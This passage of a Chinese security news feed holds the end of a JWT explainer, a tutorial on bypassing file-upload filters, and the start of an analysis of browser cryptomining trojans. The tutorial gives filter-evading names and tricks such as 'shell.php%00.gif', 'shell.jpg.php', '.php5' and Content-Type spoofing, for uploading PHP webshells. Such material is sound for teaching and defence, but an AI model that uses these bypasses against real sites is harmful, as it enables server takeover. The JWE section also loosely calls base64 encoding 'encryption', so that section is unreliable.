 &lt;h3&gt;多重验证与JWE序列化&lt;/h3&gt;
 &lt;p&gt;和JWS类似，JWE也定义了紧凑的序列化格式，用来完成多种形式的加密。大致格式如下所示：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;{
    &amp;quot;protected&amp;quot;: &amp;quot;eyJlbmMiOiJBMTI4Q0JDLUhTMjU2In0&amp;quot;,
    &amp;quot;unprotected&amp;quot;: { &amp;quot;jku&amp;quot;:&amp;quot;https://server.example.com/keys.jwks&amp;quot; },
    &amp;quot;recipients&amp;quot;:[
        {
        &amp;quot;header&amp;quot;: { &amp;quot;alg&amp;quot;:&amp;quot;RSA1_5&amp;quot;,&amp;quot;kid&amp;quot;:&amp;quot;2011-04-29&amp;quot; },
        &amp;quot;encrypted_key&amp;quot;:
        &amp;quot;UGhIOguC7Iu...cqXMR4gp_A&amp;quot;
        },
        {
        &amp;quot;header&amp;quot;: { &amp;quot;alg&amp;quot;:&amp;quot;A128KW&amp;quot;,&amp;quot;kid&amp;quot;:&amp;quot;7&amp;quot; },
        &amp;quot;encrypted_key&amp;quot;: &amp;quot;6KB707dM9YTIgH...9locizkDTHzBC2IlrT1oOQ&amp;quot;
        }
    ],
    &amp;quot;iv&amp;quot;: &amp;quot;AxY8DCtDaGlsbGljb3RoZQ&amp;quot;,
    &amp;quot;ciphertext&amp;quot;: &amp;quot;KDlTtXchhZTGufMYmOYGS4HffxPSUrfmqCHXaI9wOGY&amp;quot;,
    &amp;quot;tag&amp;quot;: &amp;quot;Mz-VPPyU4RlcuYv1IwIvzw&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;结构很容易理解，如下所示：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;protected：之前的头部声明，利用b64uri加密；&lt;/p&gt;
  &lt;p&gt;unprotected：一般放JWS的额外声明，这段内容不会被b64加密；&lt;/p&gt;
  &lt;p&gt;iv：64加密后的iv参数；&lt;/p&gt;
  &lt;p&gt;add：额外认证数据；&lt;/p&gt;
  &lt;p&gt;ciphertext：b64加密后的加密数据；&lt;/p&gt;
  &lt;p&gt;recipients：b64加密后的认证标志-加密链，这是一个数组，每个数组中包含了两个信息；&lt;/p&gt;
  &lt;p&gt;header：主要是声明当前密钥的算法；&lt;/p&gt;
  &lt;p&gt;encrypted_key：JWE加密密钥。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;0×04 JWT 的工作原理&lt;/h2&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;这里通过juice shop来说下jwt是如何工作的。&lt;/p&gt;
 &lt;p&gt;在身份验证中，当用户使用其凭据成功登录时，将返回JSON Web令牌。如下所示：往此时，返回了jwt的令牌。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="240.18987341772151" src="http://image.3001.net/images/20180815/15343166576029.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;每当用户想要访问受保护的路由或资源时，用户将使用承载【bearer】模式发送JWT，通常在Authorization标头中。标题的内容应如下所示：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;Authorization: Bearer &amp;lt;token&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;随后，服务器会取出token中的内容，来返回对应的内容。须知，这个token不一定会储存在cookie中，如果存在cookie中的话，需要设置为http-only，防止XSS。另外，还可以放在别的地方，比如localStorage、sessionStorage。如果使用vue的话，还可以存在vuex里面。&lt;/p&gt;
 &lt;p&gt;另外，如果在如  &lt;code&gt;Authorization: Bearer&lt;/code&gt;中发送令牌，则跨域资源共享（CORS）将不会成为问题，因为它不使用cookie。&lt;/p&gt;
 &lt;p&gt;此时，去访问认证页面，请求头如下所示，如预期所见，是利用Authorization:Bearer的请求头去访问的。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image.png" height="194" src="http://image.3001.net/images/20180815/15343166269531.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;关于更多的关于JWT认证的内容，可以看  &lt;a href="http://blog.leapoahead.com/2015/09/07/user-authentication-with-jwt/"&gt;八幅漫画理解使用JSON Web Token设计单点登录系统 ——— by John Wu&lt;/a&gt;&lt;/p&gt;
 &lt;h3&gt;ECDSA|RSASSA or HMAC ？ 应该选用哪个？&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;之前看JWT的时候看到论坛里的一个话题，觉得很有意思，用自己的理解来说一下  &lt;a href="https://stackoverflow.com/questions/38588319/understanding-rsa-signing-for-jwt"&gt;https://stackoverflow.com/questions/38588319/understanding-rsa-signing-for-jwt&lt;/a&gt;。&lt;/p&gt;
 &lt;p&gt;首先，我们必须明确一点，无论用的是 HMAC，RSASSA，ECDSA；密钥，公钥，私钥都不会发送给客户端，仅仅会保留在服务端上。&lt;/p&gt;
 &lt;p&gt;对称的算法HMAC适用于单点登录，一对一的场景中。速度很快。&lt;/p&gt;
 &lt;p&gt;但是面对一对多的情况，比如一个APP中的不同服务模块，需要JWT登录的时候，主服务端【APP】拥有一个私钥来完成签名即可，而用户带着JWT在访问不同服务模块【副服务端】的时候，副服务端只要用公钥来验证签名就可以了。从一定程度上也减少了主服务端的压力。&lt;/p&gt;
 &lt;p&gt;当然，还有一种情况就是不同成员进行开发的时候，大家可以用统一的私钥来完成签名，然后用各自的公钥去完成对JWT的认证，也是一种非常好的开发手段。&lt;/p&gt;
 &lt;p&gt;因此，构建一个没有多个小型“微服务应用程序”的应用程序，并且开发人员只有一组的，选择HMAC来签名即可。其他情况下，尽量选择RSA。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*本文作者   &lt;a href="http://www.freebuf.com/wp-admin/edit.php?post_type=post&amp;author=267567"&gt;NinthDevilHunster&lt;/a&gt;，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 JWT token</category>
      <guid isPermaLink="true">https://itindex.net/detail/58629-json-web-token</guid>
      <pubDate>Fri, 17 Aug 2018 08:00:18 CST</pubDate>
    </item>
    <item>
      <title>文件上传限制绕过技巧</title>
      <link>https://itindex.net/detail/58625-%E6%96%87%E4%BB%B6-%E4%B8%8A%E4%BC%A0-%E9%99%90%E5%88%B6</link>
      <description>&lt;p&gt;  &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;严正声明：本文仅限于技术讨论，严禁用于其他用途。&lt;/strong&gt;&lt;/p&gt;
 &lt;h2&gt;  &lt;strong&gt;简介&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;  &lt;strong&gt;文件上传漏洞是web安全中经常利用到的一种漏洞形式。一些web应用程序中允许上传图片，文本或者其他资源到指定的位置，文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中，再通过url去访问以执行代码。但在一些安全性较高的web应用中，往往会有各种上传限制和过滤，导致我们无法上传特定的文件。本文将就此展开讨论，通过本文的学习你将了解到Web应用中文件上传的处理和验证发送流程，以及我们该如何绕过这些验证。&lt;/strong&gt;&lt;/p&gt;
 &lt;h2&gt;  &lt;strong&gt;客户端验证&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;客户端验证是一种发生在输入被实际发送至服务器之前进行的验证。这类验证大都都是通过JavaScript，VBScript或HTML5来完成的。虽然，这对于用户来说响应速度更快体验也更好。但对于恶意攻击者来说，这些验证似乎就显得略为低级。&lt;/p&gt;
 &lt;h2&gt;  &lt;strong&gt;客户端验证绕过&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;这种类型的绕过也非常简单，我们可以关闭浏览器上的JavaScript或是在浏览器发出请求之后，在被发送至服务器之前来篡改该HTTP请求即可。&lt;/p&gt;
 &lt;p&gt;示例：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;1. &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
2. var _validFileExtensions = [&amp;quot;.jpg&amp;quot;, &amp;quot;.jpeg&amp;quot;, &amp;quot;.bmp&amp;quot;, &amp;quot;.gif&amp;quot;, &amp;quot;.png&amp;quot;];
3. function Validate(oForm) {
4. var arrInputs = oForm.getElementsByTagName(&amp;quot;input&amp;quot;);
5. for (var i = 0; i &amp;lt; arrInputs.length; i++) {
6. var oInput = arrInputs[i];
7. if (oInput.type == &amp;quot;file&amp;quot;) {
8. var sFileName = oInput.value;
9. if (sFileName.length &amp;gt; 0) {
10. var blnValid = false;
11. for (var j = 0; j &amp;lt; _validFileExtensions.length; j++) {
12. var sCurExtension = _validFileExtensions[j];
13. if (sFileName.substr(sFileName.length - sCurExtension.length, sCurExtension.length).to
LowerCase() == sCurExtension.toLowerCase()) {
14. blnValid = true;
15. break;
16. }
17. }
18.
19. if (!blnValid) {
20. alert(&amp;quot;Sorry, &amp;quot; + sFileName + &amp;quot; is invalid, allowed extensions are: &amp;quot; + _validFileExtension
s.join(&amp;quot;, &amp;quot;));
21. return false;
22. }
23. }
24. }
25. }
26.
27. return true;
28. }
29. &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;正如你所看到的，此JavaScript仅在请求被实际发送至服务器之前处理你的请求，以及检查你上传的文件扩展名是否为（jpg，jpeg，bmp，gif，png）。这样的话，我们就可以拦截该请求并篡改文件内容（恶意代码），然后将图片扩展名更改为可执行文件的扩展名（如php，asp）。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25991;&amp;#20214;&amp;#19978;&amp;#20256;&amp;#38480;&amp;#21046;&amp;#32469;&amp;#36807;&amp;#25216;&amp;#24039;" height="357" src="http://image.3001.net/images/20180807/1533600754_5b68e3f21c846.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;如上图所示，我们试图上传一个直接的PHP文件，JavaScript阻止了我们的文件上传请求。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25991;&amp;#20214;&amp;#19978;&amp;#20256;&amp;#38480;&amp;#21046;&amp;#32469;&amp;#36807;&amp;#25216;&amp;#24039;" height="228" src="http://image.3001.net/images/20180807/1533600783_5b68e40f902e8.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;我们可以通过浏览器来上传一个正常的图片格式来绕过该验证，然后拦截该请求再将其改回为php格式并将文件内容替换为我们的恶意代码，这样我们就能够成功上传我们的恶意php脚本了。&lt;/p&gt;
 &lt;h2&gt;  &lt;strong&gt;文件名验证&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;顾名思义，就是在文件被上传到服务端的时候，对于文件名的扩展名进行检查，如果不合法，则拒绝这次上传。检查扩展名是否合法有两种常用策略，即黑名单和白名单策略。&lt;/p&gt;
 &lt;p&gt;黑名单策略，即文件扩展名在黑名单中的为不合法。白名单策略，即文件扩展名不在白名单中的均为不合法。相对于黑名单，白名单策略更加安全的。通过限制上传类型为只有我们接受的类型，可以较好的保证安全，因为黑名单我们可以使用各种方法来进行注入和突破。&lt;/p&gt;
 &lt;h2&gt;  &lt;strong&gt;文件名绕过&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;我们可以通过上传一些平时不怎么用的容易被人忽视的文件扩展名，来绕过这种类型的验证。&lt;/p&gt;
 &lt;h3&gt;绕过黑白名单策略：&lt;/h3&gt;
 &lt;p&gt;黑名单绕过&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;通过上传不受欢迎的php扩展来绕过黑名单。例如：pht，phpt，phtml，php3，php4，php5，php6&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;白名单绕过&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;通过某种类型的技巧来绕过白名单，例如添加空字节注入（shell.php％00.gif），或使用双重扩展来上传文件（shell.jpg.php）。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;此外，我们还可以尝试扩展名大小写来绕过，例如：pHp，Php，phP。&lt;/p&gt;
 &lt;p&gt;示例：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;1. if($imageFileType != &amp;quot;jpg&amp;quot; &amp;amp;&amp;amp; $imageFileType != &amp;quot;png&amp;quot; &amp;amp;&amp;amp; $imageFileType != &amp;quot;jpeg&amp;quot;
2. &amp;amp;&amp;amp; $imageFileType != &amp;quot;gif&amp;quot; ) {
3. echo &amp;quot;Sorry, only JPG, JPEG, PNG &amp;amp; GIF files are allowed.&amp;quot;; &lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;以上代码将会阻止除jpg，jpeg，gif，png扩展名以外的，所有其它文件类型上传。在本例中我们将尝试绕过该检查，并在Web服务器上传一个php文件。&lt;/p&gt;
 &lt;p&gt;黑名单绕过    &lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25991;&amp;#20214;&amp;#19978;&amp;#20256;&amp;#38480;&amp;#21046;&amp;#32469;&amp;#36807;&amp;#25216;&amp;#24039;" height="155" src="http://image.3001.net/images/20180807/1533600827_5b68e43b52b2a.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;正如你所看到的，将php文件的后缀更改为.php5（Apache服务器会将其视为php文件执行）后，就可以成功绕过该上传验证。&lt;/p&gt;
 &lt;p&gt;白名单绕过&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25991;&amp;#20214;&amp;#19978;&amp;#20256;&amp;#38480;&amp;#21046;&amp;#32469;&amp;#36807;&amp;#25216;&amp;#24039;" height="155" src="http://image.3001.net/images/20180807/1533600861_5b68e45ddd428.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;如上图所示，我们使用了双重扩展名（shell.jpg.php）来绕过验证。&lt;/p&gt;
 &lt;h3&gt;  &lt;strong&gt;Content-Type验证&lt;/strong&gt;&lt;/h3&gt;
 &lt;p&gt;Content-Type（内容类型），一般是指网页中存在的Content-Type，用于定义网络文件的类型和网页的编码，决定文件接收方将以什么形式、什么编码读取这个文件。例如，一些图像文件上传通过检查文件的内容类型是否为图像类型来验证上传的图像。&lt;/p&gt;
 &lt;h3&gt;  &lt;strong&gt;Content-Type绕过&lt;/strong&gt;&lt;/h3&gt;
 &lt;p&gt;该类型的绕过也非常简单，只需将“Content-Type”的参数类型更改为“image/ *”即可，例如“image/png”, “image/jpeg”, “image/gif”。&lt;/p&gt;
 &lt;p&gt;示例：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;1. &amp;lt;?php
2.
3. $mimetype = mime_content_type($_FILES[&amp;apos;file&amp;apos;][&amp;apos;tmp_name&amp;apos;]);
4. if(in_array($mimetype, array(&amp;apos;image/jpeg&amp;apos;, &amp;apos;image/gif&amp;apos;, &amp;apos;image/png&amp;apos;))) {
5. move_uploaded_file($_FILES[&amp;apos;file&amp;apos;][&amp;apos;tmp_name&amp;apos;], &amp;apos;/uploads/&amp;apos; . $_FILES[&amp;apos;file&amp;apos;][&amp;apos;name&amp;apos;]);
6. echo &amp;apos;OK&amp;apos;;
7.
8. } else {
9. echo &amp;apos;Upload a real image&amp;apos;;
10. } &lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;以上代码会检查Content-Type header中的MIME类型，仅接受类型为image/jpeg, image/gif, image/png的文件上传。我们只需只需将“Content-Type”的参数类型更改为其可接受的类型即可绕过。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25991;&amp;#20214;&amp;#19978;&amp;#20256;&amp;#38480;&amp;#21046;&amp;#32469;&amp;#36807;&amp;#25216;&amp;#24039;" height="142" src="http://image.3001.net/images/20180807/1533600896_5b68e4809c39d.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;  &lt;strong&gt;CONTENT-LENGTH验证&lt;/strong&gt;&lt;/h3&gt;
 &lt;p&gt;Content-Length验证是指服务器会对上传的文件内容长度进行检查，超出限制大小的文件将不允许被上传。虽然这种类型的验证不是很受欢迎，但在一些应用的文件上传中也时常能碰到。&lt;/p&gt;
 &lt;h3&gt;  &lt;strong&gt;CONTENT-LENGTH绕过&lt;/strong&gt;&lt;/h3&gt;
 &lt;p&gt;针对这种类型的验证，我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于，Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序，从而计算出它的限制范围。&lt;/p&gt;
 &lt;p&gt;示例：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;1. if ($_FILES[&amp;quot;fileToUpload&amp;quot;][&amp;quot;size&amp;quot;] &amp;gt; 30) {
2. echo &amp;quot;Sorry, your file is too large.&amp;quot;;
3. } &lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;以上代码将限制大小超过30字节的文件上传。我们可以通过上传一个30字节以内大小的恶意payload文件来绕过它。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#25991;&amp;#20214;&amp;#19978;&amp;#20256;&amp;#38480;&amp;#21046;&amp;#32469;&amp;#36807;&amp;#25216;&amp;#24039;" height="132" src="http://image.3001.net/images/20180807/1533600920_5b68e49841d10.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;参考来源&lt;/strong&gt;&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;   &lt;a href="http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html"&gt;http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;   &lt;a href="http://www.net-informations.com/faq/asp/validation.htm"&gt;http://www.net-informations.com/faq/asp/validation.htm&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;   &lt;a href="https://www.owasp.org/index.php/Unrestricted_File_Upload"&gt;https://www.owasp.org/index.php/Unrestricted_File_Upload&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;   &lt;a href="http://www.sitepoint.com/mime-types-complete-list/"&gt;http://www.sitepoint.com/mime-types-complete-list/&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;   &lt;a href="https://www.w3schools.com/php/php_file_upload.asp"&gt;https://www.w3schools.com/php/php_file_upload.asp&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;   &lt;a href="https://stackoverflow.com/"&gt;https://stackoverflow.com/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;  &lt;strong&gt; *参考来源：   &lt;a href="https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf"&gt;exploit-db&lt;/a&gt;，FB小编 secist 编译，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 文件上传限制绕过</category>
      <guid isPermaLink="true">https://itindex.net/detail/58625-%E6%96%87%E4%BB%B6-%E4%B8%8A%E4%BC%A0-%E9%99%90%E5%88%B6</guid>
      <pubDate>Wed, 15 Aug 2018 13:00:39 CST</pubDate>
    </item>
    <item>
      <title>黑客是如何利用你的浏览器进行挖矿的？</title>
      <link>https://itindex.net/detail/58423-%E9%BB%91%E5%AE%A2-%E5%88%A9%E7%94%A8-%E6%B5%8F%E8%A7%88%E5%99%A8</link>
      <description>&lt;h2&gt;0×1 概述&lt;/h2&gt;
 &lt;p&gt;近期，千里目安全实验室监测到了一大批网站系统被恶意植入了网页挖矿木马，只要访问者通过浏览器浏览被恶意植入了网页挖矿木马站点，浏览器会即刻执行挖矿指令，从而沦为僵尸矿机，无偿的为网页挖矿木马植入者提供算力，间接为其生产虚拟货币，这是一种资源盗用攻击。由于网页挖矿木马存在很广的传播面和很不错的经济效益，因此、广受黑产团体的追捧，让我们对它防不胜防！ &lt;/p&gt;
 &lt;h2&gt;0×2 千里百科&lt;/h2&gt;
 &lt;p&gt;  &lt;strong&gt;区块：&lt;/strong&gt;在区块链网络上承载交易数据的数据包。它会被标记上时间戳和之前一个区块的独特标记。区块头经过哈希运算后会生成一份工作量证明，从而验证区块中的交易。有效的区块经过全网络的共识后会被追加到主区块链中。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;区块链：&lt;/strong&gt;狭义来讲，是一种按照时间序列将数据区块以顺序相连的方式组合成的一种链式数据结构，并以密码学方式保证的不可篡改和不可伪造的分布式账本。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;矿机：&lt;/strong&gt;矿机是挖矿机器的简称，就是用于赚取数字货币的计算机，这类计算机一般有专业的挖矿芯片，多采用烧显卡的方式工作，耗电量较大。个人计算机可以通过挖矿软件来运行特定的算法产生算力(俗称挖矿)来获得相应数字货币。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;矿池：&lt;/strong&gt;由于单一矿机想挖到一个块的几率是非常小的，通过矿机联合挖矿以提高几率。一个矿池的算力是很多矿机算力的集合，矿池每挖到一个块，便会根据你矿机的算力占矿池总算力的百分比，发相应的奖励给到个体，也不会存在不公平的情况。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;挖矿：&lt;/strong&gt;挖矿是反复尝试不同的随机数对未打包交易进行哈希，直到找到一个随机数可以符合工作证明的条件的随机数，以构建区块。如果一个矿工走运并产生一个有效的区块的话，会被授予的一定数量的币作为奖励。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;钱包：&lt;/strong&gt;钱包指保存数字货币地址和私钥的软件，可以用它来接受、发送、储存你的数字货币。&lt;/p&gt;
 &lt;h2&gt;0×3 家族样本分析&lt;/h2&gt;
 &lt;p&gt;千里目安全实验室通过持续对全网进行安全监测，发现近期有如下十种家族的网页挖矿木马的传播比较活跃。详情分析如下所示：&lt;/p&gt;
 &lt;h3&gt;  &lt;strong&gt;1&lt;/strong&gt;  &lt;strong&gt;、&lt;/strong&gt;  &lt;strong&gt;C&lt;/strong&gt;  &lt;strong&gt;oinhive家族网页挖矿木马介绍：&lt;/strong&gt;  &lt;strong&gt;&lt;/strong&gt;&lt;/h3&gt;
 &lt;p&gt;Coinhive是一个专门提供挖矿代码的JS引擎，在被攻击网站的网页内嵌一段JS挖矿代码，只要有人访问被攻击的网站，JS挖矿代码就会通过浏览器上执行挖矿请求，占用大量的系统资源，导致CPU资源利用率突然大幅度提升，甚至100％。在这过程中网站只是第一个受害目标，而网站的访问者才是最终的受害目标。&lt;/p&gt;
 &lt;p&gt;1.1、Coinhive家族网页挖矿木马代码，如下所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;.png" height="324" src="http://image.3001.net/images/20180522/15269714763070.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;1.2、执行JS挖矿代码前后的效果，如下图所示：&lt;/p&gt;
 &lt;p&gt;   &lt;img alt="&amp;#22270;&amp;#29255;.png" height="264" src="http://image.3001.net/images/20180522/1526971483858.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;1.3、通过快捷键（Shift+ESC)来查看浏览器的任务管理器，发现正是刚打开的“XMR Mining Page”网站页面占用了98.4%的CPU资源，正在疯狂的挖矿。如下图所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;.png" height="191" src="http://image.3001.net/images/20180522/15269714906725.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;2、JSEcoin家族网页挖矿木马介绍：&lt;/h3&gt;
 &lt;p&gt;JSEcoin是与Coinhive类似的JS挖矿引擎，也是在有访问量的网站中嵌入一段网页挖矿代码，利用访客的计算机CPU资源来挖掘数字货币进行牟利。但是与后者不同的是，JSECoin会将CPU使用率限制在15％至25％之间，并且始终显示隐私声明，为用户提供退出选项(可选择不提供运算服务)。&lt;/p&gt;
 &lt;p&gt;2.1、JSEcoin家族网页挖矿脚本代码，如下所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;.png" height="105" src="http://image.3001.net/images/20180522/15269714964595.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;2.2、通过对JSEcoin挖矿代码进行调试，发现执行完挖矿代码后会持续接收到需要运算的任务，如下图所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;.png" height="237" src="http://image.3001.net/images/20180522/15269715008769.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;2.3、通过进一步跟踪运算过程，发现其通过WSS协议来获取区块的计算任务，然后将结果进行回传效验，校验通过的会显示OK标记。如下图所示：&lt;/p&gt;
 &lt;p&gt;   &lt;img alt="&amp;#22270;&amp;#29255;.png" height="120" src="http://image.3001.net/images/20180522/15269715067850.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;3、CryptoLoot家族网页挖矿木马介绍：&lt;/h3&gt;
 &lt;p&gt;CryptoLoot是与Coinhive类似的JS挖矿引擎，也是在有访问量的网站中嵌入一段网页挖矿代码，利用访客的计算机CPU资源来挖掘数字货币进行牟利。不过CryptoLoot平台的佣金比Coinhive平台的佣金低很多，这可以大大降低以挖矿为盈利目标的黑色产业链成本。&lt;/p&gt;
 &lt;p&gt;3.1、CryptoLoot网页挖矿脚本代码，如下所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;.png" height="186" src="http://image.3001.net/images/20180522/15269715102384.png!small" width="556"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;3.2、CryptoLoot网页挖矿脚本代码参数介绍，如下所示：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;miner.min.js：为JS挖矿脚本。&lt;/p&gt;
  &lt;p&gt;85e693dfe57edbdf8f53640b4c0b0d257513a504c503：为SiteKey,可以理解为JS挖矿引擎识别站点的唯一标识。&lt;/p&gt;
  &lt;p&gt;threads(value)：指挖矿运算所启用的线程数量。这里的值为3，即表示启用3个线程进行挖矿运算。&lt;/p&gt;
  &lt;p&gt;autoThreads(value)：这里的Value可以设置为true和false，当设置为true时，表示自动检测用户计算机上可用的CPU内核数量。&lt;/p&gt;
  &lt;p&gt;throttle(value)：这里的value是设置线程闲置时间比例的。如果值为0，即表示不进行节流(即进行CPU满载运算)。这里的值为0.2即表示将在20%的时间内保持空闲状态。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;4、DeepMiner家族网页挖矿木马介绍：&lt;/h3&gt;
 &lt;p&gt;DeepMiner是一个开源的JS挖矿项目，也是在有访问量的网站中嵌入一段网页挖矿代码，利用访客的计算机CPU资源来挖掘数字货币进行牟利。&lt;/p&gt;
 &lt;p&gt;4.1、DeepMiner网页挖矿脚本代码，如下所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;.png" height="48" src="http://image.3001.net/images/20180522/15269715185789.png!small" width="558"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;4.2、DeepMiner网页挖矿脚本同源分析：&lt;/p&gt;
 &lt;p&gt;DeepMiner是一个已经被开源了的项目，通过分析，发现上面的挖矿脚本代码为此开源项目修改而来（开源项目地址为：  &lt;a href="https://github.com/deepwn/deepMiner"&gt;https://github.com/deepwn/deepMiner&lt;/a&gt;）。&lt;/p&gt;
 &lt;h3&gt;5、Webmine家族网页挖矿木马介绍：&lt;/h3&gt;
 &lt;p&gt;Webmine也是一个与Coinhive类似的JS挖矿引擎，在有访问量的网站中嵌入一段网页挖矿代码，利用访客的计算机CPU资源来挖掘数字货币进行牟利。&lt;/p&gt;
 &lt;p&gt;5.1、Webmine网页挖矿脚本代码，如下所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;.png" height="90" src="http://image.3001.net/images/20180522/15269715222721.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;5.2、访问JS挖矿站点时，发现CPU使用率剧增，随后退出对JS挖矿站点的访问，发现CPU的使用率一下子就降下来了。如下图所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;.png" height="209" src="http://image.3001.net/images/20180522/15269715272620.png!small" width="554"&gt;&lt;/img&gt;6、AuthedMine家族网页挖矿木马介绍：&lt;/p&gt;
 &lt;p&gt;AuthedMine也是一个与Coinhive类似的JS挖矿引擎，在有访问量的网站中嵌入一段网页挖矿代码，利用访客的计算机CPU资源来挖掘数字货币进行牟利。&lt;/p&gt;
 &lt;p&gt;6.1、AuthedMine网页挖矿脚本代码，如下所示：&lt;/p&gt;
 &lt;p&gt;   &lt;img alt="&amp;#22270;&amp;#29255;.png" height="139" src="http://image.3001.net/images/20180522/15269715326563.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;6.2、 AuthedMine网页挖矿脚本与之前的几种相比有比较大的改进，大致如下3点：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;设置了线程闲置时间比例，这样不容易被矿机受害者发现和察觉。&lt;/p&gt;
  &lt;p&gt;设置了挖矿设备类型，只对非移动设备进行挖矿运算，防止手持终端设备被卡死。&lt;/p&gt;
  &lt;p&gt;设置了挖矿运算时间，只挖矿4小时，避免长时间CPU过高而遭暴露。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;7、BrowserMine家族网页挖矿木马介绍：&lt;/h3&gt;
